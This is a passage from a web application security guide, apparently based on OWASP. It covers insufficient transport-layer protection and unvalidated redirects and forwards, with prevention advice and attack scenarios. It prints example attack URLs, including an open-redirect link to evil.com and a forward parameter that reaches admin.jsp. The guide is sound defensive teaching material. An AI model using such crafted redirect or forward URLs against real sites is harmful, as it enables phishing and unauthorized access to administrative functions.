account was compromised, the entire site could be exposed. Poor SSL setup can also

facilitate phishing and MITM attacks.

HOW DO I PREVENT FAILURE TO RESTRICT URL ACCESS?

Require SSL for all sensitive pages. Non-SSL requests to these pages should be redirected to the SSL page.

Set the ‘secure’ flag on all sensitive cookies.

Configure your SSL provider to only support strong (e.g., FIPS 140-2 compliant) algorithms.

Ensure your certificate is valid, not expired, not revoked, and matches all domains used by the site.

Backend and other connections should also use SSL or other encryption

technologies.

Example Attack Scenarios:

1. A site simply doesn’t use SSL for all pages that require authentication. Attacker simply

monitors network traffic (like an open wireless or their neighborhood cable modem

network), and observes an authenticated victim’s session cookie. Attacker then replays

this cookie and takes over the user’s session.

2. A site has improperly configured SSL certificate which causes browser warnings for its

users. Users have to accept such warnings and continue, in order to use the site. This

causes users to get accustomed to such warnings. Phishing attack against the site’s

customers lures them to a lookalike site which doesn’t have a valid certificate, which

generates similar browser warnings. Since victims are accustomed to such warnings, they

proceed on and use the phishing site, giving away passwords or other private data.

3. A site simply uses standard ODBC/JDBC for the database connection, not realizing all

traffic is in the clear.

https://www.owasp.org/index.php/Top_10_2010-A9-Insufficient_Transport_Layer_Protection

Unvalidated Redirects and Forwards

Web applications frequently redirect and forward users to other pages and websites, and

use untrusted data to determine the destination pages. Without proper validation,

attackers can redirect victims to phishing or malware sites or even use forwards to access

unauthorized pages. [3]

Am I vulnerable?

The best way to find out if your web application has any unvalidated redirects or forwards

is to:

PAGE 27

Review the code for all uses of redirect or forward. For each use, identify if the

target URL is included in any parameter values. If so, verify the parameters are

validated to contain only an allowed destination or element of destination.

Spider the web application to see if it generates any redirects.

If code is unavailable, check all parameters to see if they look like part of a redirect

or forward URL destination and test those that do.

How to prevent?

To prevent just avoid the use of redirects and forwards. If used don’t involve user

parameters in calculating the destination, if it can’t be avoided then ensure that the

supplied value is valid and authorized for the user.

It is recommended that any such destination parameters be a mapping value, rather than

the actual URL or portion of the URL, and that server side code translate this mapping to

the target URL.

Example Attacks

Scenario #1: The application has a page called “redirect.jsp” which takes a single

parameter named “url”. The attacker crafts a malicious URL that redirects users to

a malicious site that performs phishing and installs malware. Eg: http://www.example.com/redirect.jsp?url=evil.com

Scenario #2: The application uses forward to route requests between different

parts of the site. To facilitate this, some pages use a parameter to indicate where

the user should be sent if a transaction is successful. In this case, the attacker

crafts a URL that will pass the application’s access control check and then forward

the attacker to an administrative function that she would not normally be able to

access. Eg: http://www.example.com/boring.jsp?fwd=admin.jsp

PAGE 28

References

[1] http://google-gruyere.appspot.com/part1

[2] https://www.owasp.org/index.php/Session_Management

[3] https://www.owasp.org/index.php/Top_10_2010-A10-Unvalidated_Redirects_and_Forwards

[4] https://www.golemtechnologies.com/articles/prevent-xss

[5] https://www.owasp.org/index.php/Top_10_2013-A5-Security_Misconfiguration

PAGE 29